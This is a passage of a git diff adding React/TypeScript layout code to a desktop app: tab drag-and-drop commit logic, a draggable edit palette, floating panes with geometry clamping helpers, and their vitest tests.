+      // proximity capture (sensitivity radius grabs both neighbors near a
+      // shared edge) collapses to the primary zone — otherwise a drop near a
+      // seam silently merges zones the user never asked to merge.
+      if (!shift && groupIds.length > 1) {
+        const collapsed = primaryZone(zones, groupIds, point)
+        groupIds = collapsed ? [collapsed] : []
+      }
+
+      const groupId = groupIds.length > 0 ? (primaryZone(zones, groupIds, point) ?? undefined) : undefined
+
+      // Over the target's TAB STRIP the drop stacks at the divider's slot;
+      // sub-positions only make sense for a single-zone drop (a Shift-span
+      // always merges, pos ignored).
+      const strip =
+        groupIds.length === 1 && groupId ? strips.find(s => s.groupId === groupId && rectContains(s.rect, x, y)) : null
+
+      const stack = strip ? slotBefore(strip.slots, x, moving) : undefined
+
+      const pos: DropPosition = stack
+        ? 'center'
+        : groupIds.length === 1 && groupId
+          ? subZonePosition(zones, groupId, x, y)
+          : 'center'
+
+      return groupIds.length > 0 ? { kind: 'group', groupId, groupIds, pos, stack } : null
+    },
+
+    onCommit(hint) {
+      // A multi-tab selection is spent by a LANDED drop (reorder or zone) —
+      // a deny-area release keeps it, so a missed drop can just be retried.
+      const spendSelection = () => {
+        if (moving.length > 1) {
+          clearTabSelection()
+        }
+      }
+
+      if (mode === 'reorder' && reorder && hint?.stack !== undefined) {
+        // Slot -> index among the OTHER tabs (the block re-inserts there).
+        const others = [...reorder.strip.querySelectorAll<HTMLElement>('[data-tree-tab]')]
+          .map(el => el.dataset.treeTab)
+          .filter((id): id is string => Boolean(id) && !moving.includes(id!))
+
+        const toIndex = hint.stack.before ? others.indexOf(hint.stack.before) : others.length
+
+        if (toIndex >= 0) {
+          reorderTreePanes(reorder.groupId, moving, toIndex)
+          reorderCommitHaptic()
+          spendSelection()
+        }
+      }
+
+      if (mode === 'zone') {
+        // Drop what the hint SHOWS — the overlay and the commit share one
+        // truth (the raw highlight set can hold both seam neighbors; the hint
+        // already collapsed that to the primary unless Shift made the span
+        // explicit).
+        const targets = hint?.groupIds ?? []
+
+        if (targets.length > 1) {
+          // Shift-span: merge the highlighted zones, dropping the block across them.
+          mergeTreeZones([...targets], moving, hint?.groupId ?? null)
+          spendSelection()
+        } else if (hint?.groupId) {
+          // strip = stack at the divider slot; center = join the stack;
+          // an edge = split the zone and land there. The whole selection
+          // rides — the pressed tab fronts at the destination.
+          moveTreePanes(
+            moving,
+            { groupId: hint.groupId, pos: hint.pos ?? 'center', before: hint.stack?.before },
+            paneId
+          )
+          spendSelection()
+        }
+      }
+    },
+
+    onEnd() {
+      for (const el of dimmed) {
+        el.style.removeProperty('opacity')
+      }
+
+      highlighted.reset()
+    }
+  })
+}
diff --git a/ui-desktop/src/components/pane-shell/tree/renderer/edit-bar.tsx b/ui-desktop/src/components/pane-shell/tree/renderer/edit-bar.tsx
new file mode 100644
index 000000000..56e5c66e2
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/renderer/edit-bar.tsx
@@ -0,0 +1,113 @@
+/**
+ * Edit-mode palette — the floating, draggable "Layouts" card shown while
+ * layout edit mode is on. It hosts the layout picker and the reset/done
+ * actions; its header doubles as the drag handle. Position survives edit-mode
+ * toggles within a session.
+ */
+
+import { useStore } from '@nanostores/react'
+import { type PointerEvent as ReactPointerEvent, useCallback, useRef, useState } from 'react'
+
+import { Button } from '@/components/ui/button'
+import { useI18n } from '@/i18n'
+import { formatCombo } from '@/lib/keybinds/combo'
+import { $bindings, bindingsFor } from '@/store/keybinds'
+
+import { $layoutEditMode } from '../../edit-mode'
+import { resetLayoutTree } from '../store'
+
+import { LayoutPicker } from './layout-picker'
+
+// Palette position survives edit-mode toggles within a session; null = centered.
+let lastPalettePos: { x: number; y: number } | null = null
+
+export function TreeEditBar() {
+  const { t } = useI18n()
+  const editMode = useStore($layoutEditMode)
+  const bindings = useStore($bindings)
+  const [pos, setPos] = useState(lastPalettePos)
+  const cardRef = useRef<HTMLDivElement>(null)
+  // The toggle is a `keybinds` contribution (`layout.editMode`) — show the
+  // user's LIVE binding, not a hardcoded chord.
+  const toggleCombo = bindingsFor('layout.editMode', bindings)[0]
+
+  const startMove = useCallback((e: ReactPointerEvent<HTMLElement>) => {
+    if (e.button !== 0) {
+      return
+    }
+
+    const card = cardRef.current
+    const parent = card?.parentElement
+
+    if (!card || !parent) {
+      return
+    }
+
+    e.preventDefault()
+
+    const cardRect = card.getBoundingClientRect()
+    const dx = e.clientX - cardRect.x
+    const dy = e.clientY - cardRect.y
+
+    const onMove = (ev: PointerEvent) => {
+      const parentRect = parent.getBoundingClientRect()
+
+      const next = {
+        x: Math.max(4, Math.min(parentRect.width - cardRect.width - 4, ev.clientX - parentRect.x - dx)),
+        y: Math.max(4, Math.min(parentRect.height - 40, ev.clientY - parentRect.y - dy))
+      }
+
+      lastPalettePos = next
+      setPos(next)
+    }
+
+    const onUp = () => {
+      window.removeEventListener('pointermove', onMove, true)
+      window.removeEventListener('pointerup', onUp, true)
+    }
+
+    window.addEventListener('pointermove', onMove, true)
+    window.addEventListener('pointerup', onUp, true)
+  }, [])
+
+  if (!editMode) {
+    return null
+  }
+
+  return (
+    <div
+      className="absolute z-50 flex w-[26rem] max-w-[calc(100%-2rem)] flex-col rounded-xl border border-(--ui-stroke-secondary) bg-popover text-popover-foreground shadow-2xl [-webkit-app-region:no-drag]"
+      ref={cardRef}
+      style={pos ? { left: pos.x, top: pos.y } : { left: '50%', top: '50%', transform: 'translate(-50%, -50%)' }}
+    >
+      {/* Header doubles as the drag handle (Panel-style title + actions). */}
+      <header
+        className="flex shrink-0 cursor-grab select-none items-start justify-between gap-3 px-4 pb-2 pt-3 active:cursor-grabbing"
+        onPointerDown={startMove}
+      >
+        <div className="min-w-0">
+          <h2 className="text-sm font-semibold text-foreground">{t.zones.editTitle}</h2>
+          <p className="text-xs text-muted-foreground/80">
+            {t.zones.editHint}{' '}
+            {toggleCombo && (
+              <kbd className="rounded border border-(--ui-stroke-secondary) bg-foreground/5 px-1 font-mono text-[10px]">
+                {formatCombo(toggleCombo)}
+              </kbd>
+            )}
+          </p>
+        </div>
+        <div className="flex shrink-0 items-center gap-1.5" onPointerDown={e => e.stopPropagation()}>
+          <Button onClick={resetLayoutTree} size="sm" variant="ghost">
+            {t.zones.reset}
+          </Button>
+          <Button onClick={() => $layoutEditMode.set(false)} size="sm" variant="outline">
+            {t.common.done}
+          </Button>
+        </div>
+      </header>
+      <div className="px-4 pb-4">
+        <LayoutPicker />
+      </div>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/pane-shell/tree/renderer/floating-panes.test.tsx b/ui-desktop/src/components/pane-shell/tree/renderer/floating-panes.test.tsx
new file mode 100644
index 000000000..b5e97640d
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/renderer/floating-panes.test.tsx
@@ -0,0 +1,203 @@
+/**
+ * Live-behavior test for FloatingPanes: mounts the REAL component into a real
+ * DOM and drives real pointer/resize events. This is the closest thing to
+ * "running it" without an Electron main process — it exercises the rendered
+ * element's computed geometry, not the pure geometry module (that's
+ * floating-rect.test.ts).
+ */
+
+import { act, type ReactNode } from 'react'
+import { createRoot, type Root } from 'react-dom/client'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { registry } from '@/contrib/registry'
+
+import { FloatingPanes } from './floating-panes'
+
+let root: null | Root = null
+let container: HTMLDivElement | null = null
+let disposers: (() => void)[] = []
+
+function render(ui: ReactNode) {
+  container = document.createElement('div')
+  document.body.append(container)
+  root = createRoot(container)
+
+  act(() => {
+    root!.render(ui)
+  })
+}
+
+const card = () => document.querySelector<HTMLElement>('[data-floating-pane="hud"]')
+
+const grab = () => card()!.querySelector('header')!
+
+/** jsdom has no real pointer events; PointerEvent falls back to MouseEvent. */
+function pointer(target: Element, type: string, x: number, y: number) {
+  const event = new MouseEvent(type, { bubbles: true, clientX: x, clientY: y })
+
+  Object.defineProperty(event, 'pointerId', { value: 1 })
+
+  act(() => {
+    target.dispatchEvent(event)
+  })
+}
+
+function resizeWindow(width: number, height: number) {
+  Object.defineProperty(window, 'innerWidth', { configurable: true, value: width, writable: true })
+  Object.defineProperty(window, 'innerHeight', { configurable: true, value: height, writable: true })
+
+  act(() => {
+    window.dispatchEvent(new Event('resize'))
+  })
+}
+
+function registerHud(data: Record<string, unknown>) {
+  disposers.push(
+    registry.register({
+      area: 'panes',
+      data,
+      id: 'hud',
+      render: () => <p data-testid="hud-body">live</p>,
+      title: 'HUD'
+    })
+  )
+}
+
+describe('FloatingPanes (live DOM)', () => {
+  beforeEach(() => {
+    window.localStorage.clear()
+    resizeWindow(1440, 900)
+    // setPointerCapture / releasePointerCapture don't exist in jsdom.
+    Element.prototype.setPointerCapture = vi.fn()
+    Element.prototype.releasePointerCapture = vi.fn()
+  })
+
+  afterEach(() => {
+    if (root) {
+      act(() => root!.unmount())
+    }
+
+    container?.remove()
+    root = null
+    container = null
+    disposers.forEach(dispose => dispose())
+    disposers = []
+  })
+
+  it('mounts a fixed card in the anchored corner with the pane body inside', () => {
+    registerHud({ anchor: 'top-right', height: '132px', placement: 'floating', width: '224px' })
+    render(<FloatingPanes />)
+
+    const el = card()!
+
+    expect(el).toBeTruthy()
+    expect(el.className).toContain('fixed')
+    // 1440 - 224 - 12 margin = 1204; titlebar 34 + 12 = 46.
+    expect(el.style.left).toBe('1204px')
+    expect(el.style.top).toBe('46px')
+    expect(el.style.width).toBe('224px')
+    expect(document.querySelector('[data-testid="hud-body"]')?.textContent).toBe('live')
+  })
+
+  it('renders nothing for a non-floating placement', () => {
+    registerHud({ placement: 'right', width: '224px' })
+    render(<FloatingPanes />)
+
+    expect(card()).toBeNull()
+  })
+
+  it('moves with a real pointer drag on the header', () => {
+    registerHud({ anchor: 'top-left', height: '132px', placement: 'floating', width: '224px' })
+    render(<FloatingPanes />)
+
+    expect(card()!.style.left).toBe('12px')
+
+    pointer(grab(), 'pointerdown', 100, 100)
+    pointer(grab(), 'pointermove', 260, 240)
+    pointer(grab(), 'pointerup', 260, 240)
+
+    expect(card()!.style.left).toBe('172px')
+    expect(card()!.style.top).toBe('186px')
+  })
+
+  it('persists the dragged position across a remount', () => {
+    registerHud({ anchor: 'top-left', height: '132px', placement: 'floating', width: '224px' })
+    render(<FloatingPanes />)
+
+    pointer(grab(), 'pointerdown', 100, 100)
+    pointer(grab(), 'pointermove', 300, 300)
+    pointer(grab(), 'pointerup', 300, 300)
+
+    const moved = card()!.style.left
+
+    act(() => root!.unmount())
+    container!.remove()
+    render(<FloatingPanes />)
+
+    expect(card()!.style.left).toBe(moved)
+  })
+
+  it('rides the right edge when the window shrinks', () => {
+    registerHud({ anchor: 'top-right', height: '132px', placement: 'floating', width: '224px' })
+    render(<FloatingPanes />)
+
+    expect(card()!.style.left).toBe('1204px')
+
+    resizeWindow(1000, 700)
+
+    // Tracks the edge: 1000 - 224 - 12 = 764.
+    expect(card()!.style.left).toBe('764px')
+  })
+
+  it('never lets a drag push the card under the titlebar', () => {
+    registerHud({ anchor: 'top-left', height: '132px', placement: 'floating', width: '224px' })
+    render(<FloatingPanes />)
+
+    pointer(grab(), 'pointerdown', 100, 100)
+    pointer(grab(), 'pointermove', 100, -900)
+    pointer(grab(), 'pointerup', 100, -900)
+
+    expect(Number.parseFloat(card()!.style.top)).toBeGreaterThanOrEqual(34)
+  })
+
+  it('collapses to the header and drops the body, and does not drag from the button', () => {
+    registerHud({ anchor: 'top-left', height: '132px', placement: 'floating', width: '224px' })
+    render(<FloatingPanes />)
+
+    const before = card()!.style.left
+    const toggle = card()!.querySelector('button')!
+
+    // The button is inside the drag handle — [data-floating-no-drag] must
+    // stop it starting a drag.
+    pointer(toggle, 'pointerdown', 100, 100)
+    pointer(grab(), 'pointermove', 400, 400)
+    pointer(grab(), 'pointerup', 400, 400)
+
+    expect(card()!.style.left).toBe(before)
+
+    act(() => {
+      toggle.click()
+    })
+
+    expect(document.querySelector('[data-testid="hud-body"]')).toBeNull()
+    expect(card()!.style.height).toBe('')
+  })
+
+  it('renders one card per floating contribution', () => {
+    registerHud({ anchor: 'top-left', placement: 'floating', width: '224px' })
+    disposers.push(
+      registry.register({
+        area: 'panes',
+        data: { anchor: 'bottom-right', placement: 'floating', width: '200px' },
+        id: 'hud2',
+        render: () => null,
+        title: 'HUD 2'
+      })
+    )
+
+    render(<FloatingPanes />)
+
+    expect(document.querySelectorAll('[data-floating-pane]').length).toBe(2)
+  })
+})
diff --git a/ui-desktop/src/components/pane-shell/tree/renderer/floating-panes.tsx b/ui-desktop/src/components/pane-shell/tree/renderer/floating-panes.tsx
new file mode 100644
index 000000000..94cb52b05
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/renderer/floating-panes.tsx
@@ -0,0 +1,206 @@
+/**
+ * Floating panes — the tree's non-tiling placement.
+ *
+ * `placement: 'floating'` opts a pane OUT of the layout tree: it never becomes
+ * a track, never takes width from a zone, and never appears in a tab strip.
+ * The tree renders it as a fixed card above itself, draggable by its header,
+ * with position + collapse persisted per pane id. The geometry rules live in
+ * floating-rect.ts.
+ */
+
+import { useStore } from '@nanostores/react'
+import { type PointerEvent as ReactPointerEvent, useCallback, useEffect, useRef, useState } from 'react'
+
+import { HUD_SURFACE } from '@/app/floating-hud'
+import { TITLEBAR_HEIGHT } from '@/app/shell/titlebar'
+import { Codicon } from '@/components/ui/codicon'
+import { ContribBoundary } from '@/contrib/react/boundary'
+import { useContributions } from '@/contrib/react/use-contributions'
+import type { Contribution } from '@/contrib/types'
+import { readJson, writeJson } from '@/lib/storage'
+import { cn } from '@/lib/utils'
+
+import { $hiddenTreePanes } from '../store'
+
+import {
+  anchoredRect,
+  clampFloatingRect,
+  FLOATING_PLACEMENT,
+  floatingPx,
+  type FloatingRect,
+  type FloatingViewport,
+  reflowRect
+} from './floating-rect'
+import { paneChrome } from './track-model'
+
+const POSITIONS_KEY = 'clawcodex.desktop.floatingPanes.v1'
+
+const DEFAULT_SIZE = { width: 240, height: 180 }
+
+interface StoredRect {
+  x: number
+  y: number
+  collapsed?: boolean
+}
+
+const readStored = (): Record<string, StoredRect> => readJson<Record<string, StoredRect>>(POSITIONS_KEY) ?? {}
+
+const viewportNow = (): FloatingViewport => ({
+  width: window.innerWidth,
+  height: window.innerHeight,
+  top: TITLEBAR_HEIGHT
+})
+
+function FloatingPane({ pane }: { pane: Contribution }) {
+  const chrome = paneChrome(pane)
+  const anchor = chrome.anchor ?? 'top-right'
+
+  const size = {
+    width: floatingPx(chrome.width, DEFAULT_SIZE.width),
+    height: floatingPx(chrome.height, DEFAULT_SIZE.height)
+  }
+
+  const [rect, setRect] = useState<FloatingRect>(() => {
+    const stored = readStored()[pane.id]
+    const spawned = anchoredRect(anchor, size, viewportNow())
+
+    return stored ? { ...spawned, x: stored.x, y: stored.y } : spawned
+  })
+
+  const [collapsed, setCollapsed] = useState(() => readStored()[pane.id]?.collapsed ?? false)
+
+  const drag = useRef<{ x: number; y: number } | null>(null)
+  const viewport = useRef<FloatingViewport>(viewportNow())
+
+  const persist = useCallback(
+    (next: FloatingRect, nextCollapsed: boolean) => {
+      writeJson(POSITIONS_KEY, { ...readStored(), [pane.id]: { x: next.x, y: next.y, collapsed: nextCollapsed } })
+    },
+    [pane.id]
+  )
+
+  // Track the viewport so an edge-anchored pane rides its edge on resize.
+  // The previous-size read lives in the handler (not a useEffect body): it's
+  // window geometry, not a mirrored reactive value.
+  const handleResize = useCallback(() => {
+    const next = viewportNow()
+
+    setRect(current => reflowRect(current, anchor, viewport.current, next))
+    viewport.current = next
+  }, [anchor])
+
+  useEffect(() => {
+    window.addEventListener('resize', handleResize)
+
+    return () => window.removeEventListener('resize', handleResize)
+  }, [handleResize])
+
+  const onPointerDown = useCallback((event: ReactPointerEvent<HTMLElement>) => {
+    if ((event.target as HTMLElement).closest('[data-floating-no-drag]')) {
+      return
+    }
+
+    event.currentTarget.setPointerCapture(event.pointerId)
+    drag.current = { x: event.clientX, y: event.clientY }
+    event.preventDefault()
+  }, [])
+
+  const onPointerMove = useCallback((event: ReactPointerEvent<HTMLElement>) => {
+    const from = drag.current
+
+    if (!from) {
+      return
+    }
+
+    drag.current = { x: event.clientX, y: event.clientY }
+
+    setRect(current =>
+      clampFloatingRect(
+        { ...current, x: current.x + event.clientX - from.x, y: current.y + event.clientY - from.y },
+        viewport.current
+      )
+    )
+  }, [])
+
+  const onPointerUp = useCallback(
+    (event: ReactPointerEvent<HTMLElement>) => {
+      if (!drag.current) {
+        return
+      }
+
+      drag.current = null
+      event.currentTarget.releasePointerCapture?.(event.pointerId)
+      setRect(current => {
+        persist(current, collapsed)
+
+        return current
+      })
+    },
+    [collapsed, persist]
+  )
+
+  const toggleCollapsed = () =>
+    setCollapsed(current => {
+      persist(rect, !current)
+
+      return !current
+    })
+
+  return (
+    <div
+      className={cn('pointer-events-auto fixed z-45 flex flex-col overflow-hidden', HUD_SURFACE)}
+      data-floating-pane={pane.id}
+      style={{
+        left: rect.x,
+        top: rect.y,
+        width: size.width,
+        height: collapsed ? undefined : size.height
+      }}
+    >
+      {/* Header IS the drag handle — the floating equivalent of a tab strip. */}
+      <header
+        className="flex shrink-0 cursor-grab items-center justify-between gap-2 px-2.5 py-1.5 text-[0.6875rem] text-(--ui-text-secondary) select-none"
+        onPointerDown={onPointerDown}
+        onPointerMove={onPointerMove}
+        onPointerUp={onPointerUp}
+        style={{ touchAction: 'none' }}
+      >
+        <span className="truncate font-medium">{pane.title ?? pane.id}</span>
+        <button
+          className="rounded p-0.5 text-(--ui-text-quaternary) transition-colors hover:text-(--ui-text-primary)"
+          data-floating-no-drag=""
+          onClick={toggleCollapsed}
+          type="button"
+        >
+          <Codicon name={collapsed ? 'chevron-down' : 'chevron-up'} size="0.75rem" />
+        </button>
+      </header>
+
+      {!collapsed && (
+        <div className="min-h-0 flex-1 overflow-auto">
+          <ContribBoundary id={pane.id}>{pane.render?.()}</ContribBoundary>
+        </div>
+      )}
+    </div>
+  )
+}
+
+/** Every `placement: 'floating'` contribution, rendered above the tree. */
+export function FloatingPanes() {
+  const panes = useContributions('panes')
+  const hidden = useStore($hiddenTreePanes)
+
+  const floating = panes.filter(pane => paneChrome(pane).placement === FLOATING_PLACEMENT && !hidden.has(pane.id))
+
+  if (floating.length === 0) {
+    return null
+  }
+
+  return (
+    <>
+      {floating.map(pane => (
+        <FloatingPane key={`${pane.source ?? 'core'}:${pane.id}`} pane={pane} />
+      ))}
+    </>
+  )
+}
diff --git a/ui-desktop/src/components/pane-shell/tree/renderer/floating-rect.test.ts b/ui-desktop/src/components/pane-shell/tree/renderer/floating-rect.test.ts
new file mode 100644
index 000000000..dec110531
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/renderer/floating-rect.test.ts
@@ -0,0 +1,86 @@
+import { describe, expect, it } from 'vitest'
+
+import { anchoredRect, clampFloatingRect, floatingPx, reflowRect } from './floating-rect'
+
+const viewport = { width: 1440, height: 900, top: 34 }
+const size = { width: 240, height: 180 }
+
+describe('anchoredRect', () => {
+  it('spawns in the named corner, inset by the margin', () => {
+    expect(anchoredRect('top-right', size, viewport)).toMatchObject({ x: 1188, y: 46 })
+    expect(anchoredRect('top-left', size, viewport)).toMatchObject({ x: 12, y: 46 })
+    expect(anchoredRect('bottom-right', size, viewport)).toMatchObject({ x: 1188, y: 708 })
+    expect(anchoredRect('bottom-left', size, viewport)).toMatchObject({ x: 12, y: 708 })
+  })
+
+  it('never spawns over the reserved top chrome', () => {
+    for (const anchor of ['top-left', 'top-right', 'bottom-left', 'bottom-right'] as const) {
+      expect(anchoredRect(anchor, size, { width: 320, height: 120, top: 34 }).y).toBeGreaterThanOrEqual(34)
+    }
+  })
+})
+
+describe('clampFloatingRect', () => {
+  it('keeps a grabbable sliver on screen at either horizontal edge', () => {
+    expect(clampFloatingRect({ ...size, x: 5000, y: 100 }, viewport).x).toBe(1392)
+    expect(clampFloatingRect({ ...size, x: -5000, y: 100 }, viewport).x).toBe(-192)
+  })
+
+  it('hard-bounds the top so the drag handle is always reachable', () => {
+    expect(clampFloatingRect({ ...size, x: 100, y: -500 }, viewport).y).toBe(34)
+    expect(clampFloatingRect({ ...size, x: 100, y: 5000 }, viewport).y).toBe(852)
+  })
+
+  it('pins to the top-left rather than inverting when larger than the viewport', () => {
+    const tiny = { width: 200, height: 100, top: 34 }
+    const rect = clampFloatingRect({ x: 0, y: 0, width: 400, height: 400 }, tiny)
+
+    expect(rect.x).toBeLessThanOrEqual(tiny.width)
+    expect(rect.y).toBe(34)
+  })
+
+  it('leaves an in-bounds rect untouched', () => {
+    const rect = { ...size, x: 400, y: 200 }
+
+    expect(clampFloatingRect(rect, viewport)).toEqual(rect)
+  })
+})
+
+describe('reflowRect', () => {
+  const shrunk = { width: 1000, height: 700, top: 34 }
+
+  it('rides the right edge when right-anchored', () => {
+    const start = anchoredRect('top-right', size, viewport)
+
+    expect(reflowRect(start, 'top-right', viewport, shrunk).x).toBe(748)
+  })
+
+  it('rides the bottom edge when bottom-anchored', () => {
+    const start = anchoredRect('bottom-left', size, viewport)
+
+    expect(reflowRect(start, 'bottom-left', viewport, shrunk).y).toBe(508)
+  })
+
+  it('holds position when left/top-anchored, but still clamps into view', () => {
+    const start = { ...size, x: 40, y: 60 }
+
+    expect(reflowRect(start, 'top-left', viewport, shrunk)).toMatchObject({ x: 40, y: 60 })
+    expect(reflowRect({ ...size, x: 1300, y: 60 }, 'top-left', viewport, shrunk).x).toBe(952)
+  })
+
+  it('is identity for an in-bounds rect when the viewport did not change', () => {
+    const rect = { ...size, x: 300, y: 300 }
+
+    expect(reflowRect(rect, 'top-right', viewport, viewport)).toEqual(rect)
+  })
+})
+
+describe('floatingPx', () => {
+  it('accepts authored px strings and raw numbers, falling back otherwise', () => {
+    expect(floatingPx('216px', 240)).toBe(216)
+    expect(floatingPx(300, 240)).toBe(300)
+    expect(floatingPx(undefined, 240)).toBe(240)
+    expect(floatingPx('auto', 240)).toBe(240)
+    expect(floatingPx(Number.NaN, 240)).toBe(240)
+  })
+})
diff --git a/ui-desktop/src/components/pane-shell/tree/renderer/floating-rect.ts b/ui-desktop/src/components/pane-shell/tree/renderer/floating-rect.ts
new file mode 100644
index 000000000..f09947e81
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/renderer/floating-rect.ts
@@ -0,0 +1,109 @@
+/**
+ * Floating-pane geometry — pure, so the clamping/anchoring rules are testable
+ * without a DOM.
+ *
+ * A floating pane is NOT a track in the layout tree: it never takes width from
+ * a zone. It's a fixed-position card the tree renders above itself. Its whole
+ * contract is "stay a sane rect inside the viewport", which is this module.
+ */
+
+/** Corner a floating pane spawns from (and re-anchors to on reset). */
+export type FloatingAnchor = 'bottom-left' | 'bottom-right' | 'top-left' | 'top-right'
+
+export interface FloatingRect {
+  x: number
+  y: number
+  width: number
+  height: number
+}
+
+export interface FloatingViewport {
+  width: number
+  height: number
+  /** Chrome reserved at the top (the 34px titlebar) — panes never cover it. */
+  top: number
+}
+
+/** Keep this much of the card on screen when clamping, so it stays grabbable. */
+const MIN_VISIBLE = 48
+
+/** Gap between a spawned pane and the viewport edge it anchors to. */
+export const FLOATING_MARGIN = 12
+
+/** The one non-tiling placement — see renderer/floating-panes.tsx. */
+export const FLOATING_PLACEMENT = 'floating'
+
+export const clamp = (n: number, lo: number, hi: number): number => Math.min(Math.max(n, lo), hi)
+
+/**
+ * Clamp a rect into the viewport. Horizontal keeps `MIN_VISIBLE` px on screen
+ * from either edge (a card can hang off the right, never vanish); vertical is
+ * hard-bounded by the reserved chrome so the drag handle is always reachable.
+ *
+ * Both axes clamp `lo` before `hi`, so a card wider/taller than the viewport
+ * pins to the top-left rather than inverting.
+ */
+export function clampFloatingRect(rect: FloatingRect, viewport: FloatingViewport): FloatingRect {
+  const maxX = Math.max(MIN_VISIBLE - rect.width, viewport.width - MIN_VISIBLE)
+  const maxY = Math.max(viewport.top, viewport.height - MIN_VISIBLE)
+
+  return {
+    ...rect,
+    x: clamp(rect.x, Math.min(MIN_VISIBLE - rect.width, maxX), maxX),
+    y: clamp(rect.y, viewport.top, maxY)
+  }
+}
+
+/** Spawn position for an anchor — the corner, inset by `FLOATING_MARGIN`. */
+export function anchoredRect(
+  anchor: FloatingAnchor,
+  size: { width: number; height: number },
+  viewport: FloatingViewport
+): FloatingRect {
+  const right = anchor === 'bottom-right' || anchor === 'top-right'
+  const bottom = anchor === 'bottom-left' || anchor === 'bottom-right'
+
+  const rect = {
+    ...size,
+    x: right ? viewport.width - size.width - FLOATING_MARGIN : FLOATING_MARGIN,
+    y: bottom ? viewport.height - size.height - FLOATING_MARGIN : viewport.top + FLOATING_MARGIN
+  }
+
+  return clampFloatingRect(rect, viewport)
+}
+
+/**
+ * Re-clamp on viewport resize. A pane anchored to a right/bottom edge TRACKS
+ * that edge (shrinking the window keeps it in the corner) instead of being
+ * dragged inward only when it would fall off — matching how the pet and every
+ * OS HUD behave.
+ */
+export function reflowRect(
+  rect: FloatingRect,
+  anchor: FloatingAnchor,
+  previous: FloatingViewport,
+  next: FloatingViewport
+): FloatingRect {
+  const right = anchor === 'bottom-right' || anchor === 'top-right'
+  const bottom = anchor === 'bottom-left' || anchor === 'bottom-right'
+
+  return clampFloatingRect(
+    {
+      ...rect,
+      x: right ? rect.x + (next.width - previous.width) : rect.x,
+      y: bottom ? rect.y + (next.height - previous.height) : rect.y
+    },
+    next
+  )
+}
+
+/** Parse an authored CSS px length (`'216px'`, `216`) with a fallback. */
+export function floatingPx(value: number | string | undefined, fallback: number): number {
+  if (typeof value === 'number') {
+    return Number.isFinite(value) ? value : fallback
+  }
+
+  const parsed = Number.parseFloat(value ?? '')
+
+  return Number.isFinite(parsed) ? parsed : fallback
+}
diff --git a/ui-desktop/src/components/pane-shell/tree/renderer/index.tsx b/ui-desktop/src/components/pane-shell/tree/renderer/index.tsx
new file mode 100644
index 000000000..15790591e
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/renderer/index.tsx
@@ -0,0 +1,84 @@
+/**
+ * Layout tree renderer (root).
+ *
+ * - `split` -> flex row/column; 1px seams between siblings double as resize
+ *   sashes (the seam IS the boundary — junction-owned, never doubled). See
+ *   tree-split.tsx.
+ * - `group` -> a ZONE: header strip (tabs when stacked, minimize chevron) +
+ *   the active pane's content, resolved from the contribution registry
+ *   (`area: 'panes'`). Empty zones exist only in editor-authored trees. See
+ *   tree-group.tsx.
+ *
+ * Dragging is FancyZones-style (drag-session.ts): the LAYOUT STAYS FIXED and
+ * every zone lights up as a whole-region drop target; dropping moves the pane
+ * into that zone (joining its tab stack). Structure changes (splitting/merging/
+ * resizing zones) belong to the zone editor, not the drag.
+ *
+ * This file owns only the composition: the recursive tree, the narrow-viewport
+ * overlays, the edit palette, and the zone editor. The pieces live in sibling
+ * modules — track-model (sizing), drag-session (drag), tree-split / tree-group
+ * (nodes), layout-picker + edit-bar (edit mode), narrow-overlays.
+ */
+
+import { useStore } from '@nanostores/react'
+import { type ReactNode, useEffect } from 'react'
+
+import { useLayoutEditHotkey } from '../../edit-mode'
+import { publishWorkspaceGeometry } from '../../geometry'
+import { $layoutTree, trackActiveTreeGroup } from '../store'
+import { ZoneEditor } from '../zone-editor'
+
+import { TreeEditBar } from './edit-bar'
+import { FloatingPanes } from './floating-panes'
+import { NarrowOverlays } from './narrow-overlays'
+import { TreeNode } from './tree-node'
+
+export function LayoutTreeRoot({ children }: { children?: ReactNode }) {
+  const tree = useStore($layoutTree)
+
+  useLayoutEditHotkey(true)
+  // Track the interacted zone so ⌘W closes the right tab even when nothing is
+  // DOM-focused.
+  useEffect(trackActiveTreeGroup, [])
+  // Publish --workspace-left/right so chrome (titlebar title) aligns to the
+  // main pane's geometry in plain CSS.
+  useEffect(publishWorkspaceGeometry, [])
+
+  if (!tree) {
+    return null
+  }
+
+  return (
+    <div className="relative flex min-h-0 min-w-0 flex-1">
+      {/* ZonesOverlay::GetAnimationAlpha ramp: clamp(t / 200ms, 0.001, 1). */}
+      <style>{`@keyframes clawcodex-zone-fade { from { opacity: 0.001 } to { opacity: 1 } }`}</style>
+      {/* THE SEAM INVARIANT: boundaries are drawn by the tree (one sash
+          hairline per seam) — content mounted in a zone must not paint its
+          own edge chrome. App components (asides, the shadcn sidebar) carry
+          edge borders + inset highlights for the OLD shell's geometry; this
+          neutralizes all of them at the zone boundary, for every current and
+          future pane, instead of per-pane class surgery. */}
+      <style>{`
+        [data-tree-group] :is(aside, [data-slot=sidebar]) {
+          border-left-width: 0;
+          border-right-width: 0;
+          box-shadow: none;
+        }
+        /* Old-shell titlebar BANDS (chat's session header et al size to
+           --titlebar-height, which is 0 inside zones): a zero-height band is
+           non-functional but still paints its border-b — a stray hairline
+           doubling the zone's top seam. Remove the band entirely. */
+        [data-tree-group] header[class*="h-(--titlebar-height)"] {
+          display: none;
+        }
+      `}</style>
+      <TreeNode node={tree} root rootRow={tree.type === 'split' && tree.orientation === 'row'} />
+      <NarrowOverlays />
+      {/* Non-tiling panes: fixed cards above the tree, outside every zone. */}
+      <FloatingPanes />
+      <TreeEditBar />
+      <ZoneEditor />
+      {children}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/pane-shell/tree/renderer/layout-picker.tsx b/ui-desktop/src/components/pane-shell/tree/renderer/layout-picker.tsx
new file mode 100644
index 000000000..95b303501
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/renderer/layout-picker.tsx
@@ -0,0 +1,203 @@
+/**
+ * Layout picker — the preset card grid inside the edit palette. Thumbnails
+ * are a miniature render of each preset's layout tree; clicking a card
+ * applies it, and "Save current arrangement" captures the live tree as a
+ * user preset. The "New grid layout" button opens the zone editor.
+ */
+
+import { useStore } from '@nanostores/react'
+import { type ReactNode, useState } from 'react'
+
